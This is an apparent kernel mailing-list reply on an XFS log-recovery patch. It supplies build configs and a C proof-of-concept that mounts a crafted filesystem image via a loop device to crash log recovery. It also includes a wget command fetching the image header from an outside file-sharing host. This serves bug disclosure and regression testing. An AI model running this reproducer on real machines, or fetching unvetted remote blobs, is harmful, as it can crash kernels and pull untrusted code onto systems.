Re: [PATCH] xfs: reject log continuation for a header-only item in recovery
Xiang Mei <[email protected]>
| Newsgroups | org.kernel.vger.linux-xfs,org.kernel.vger.linux-kernel |
|---|---|
| Message-ID | <CAPpSM+QN-6pgBYLfyYVmBr1b1gXsuOgTci-4V8qwd4wewzf4Mw@mail.gmail.com> |
On Mon, Jul 13, 2026 at 2:12 AM Christoph Hellwig <[email protected]> wrote: > > On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote: > > On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the > > tail item's last region via item->ri_buf[item->ri_cnt-1] without checking > > that the item has one. A header-only item, created by > > xlog_recover_add_to_trans() when a transaction's first op is a bare > > sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on > > r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are > > XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus > > dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log > > recovery of an untrusted XFS image. > > > > A valid XLOG_WAS_CONT_TRANS only follows a region written with > > XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the > > ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already > > propagates to abort recovery. > > Looks good: > > Reviewed-by: Christoph Hellwig <[email protected]> > > Can you share your code to generate these malformed logs? Because it > would be really useful to test these conditions regularly in xfstests.. > Of course. Here is some information to reproduce the bug: 1. CONFIGS: ``` CONFIG_XFS_FS=y CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=0 CONFIG_TMPFS=y CONFIG_KASAN=y CONFIG_KASAN_INLINE=y ``` 2. Reproducer (gcc ./exp.c -o ./exploit -lpthread -static -lz -w) ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/sysmacros.h> #include <linux/loop.h> #include <zlib.h> #include "img_blob.h" #define IMG_PATH "/tmp/poc.img" #define MNT_PATH "/tmp/mnt" static void die(const char *m) { perror(m); exit(1); } static void inflate_image(void) { unsigned char *out = malloc(IMG_ORIG_SIZE); if (!out) die("malloc"); z_stream zs; memset(&zs, 0, sizeof(zs)); zs.next_in = (unsigned char *)img_gz; zs.avail_in = img_gz_len; zs.next_out = out; zs.avail_out = IMG_ORIG_SIZE; if (inflateInit2(&zs, 15 + 16) != Z_OK) die("inflateInit2"); if (inflate(&zs, Z_FINISH) != Z_STREAM_END) die("inflate"); inflateEnd(&zs); int fd = open(IMG_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) die("open img"); if (write(fd, out, zs.total_out) != (ssize_t)zs.total_out) die("write img"); close(fd); free(out); } int main(void) { char loopdev[64]; inflate_image(); mkdir(MNT_PATH, 0755); int ctl = open("/dev/loop-control", O_RDWR); int devnr = ioctl(ctl, LOOP_CTL_GET_FREE); close(ctl); snprintf(loopdev, sizeof(loopdev), "/dev/loop%d", devnr); int filefd = open(IMG_PATH, O_RDWR); if (filefd < 0) die("open img for loop"); int loopfd = open(loopdev, O_RDWR); if (loopfd < 0) die("open loopdev"); if (ioctl(loopfd, LOOP_SET_FD, filefd) < 0) die("LOOP_SET_FD"); close(filefd); mount(loopdev, MNT_PATH, "xfs", 0, ""); umount(MNT_PATH); ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); return 0; } ``` Please compile after `wget https://filebin.net/68g43o706i6a5qw5/img_blob.h` Please tell me if you need more information to reproduce the bug. Xiang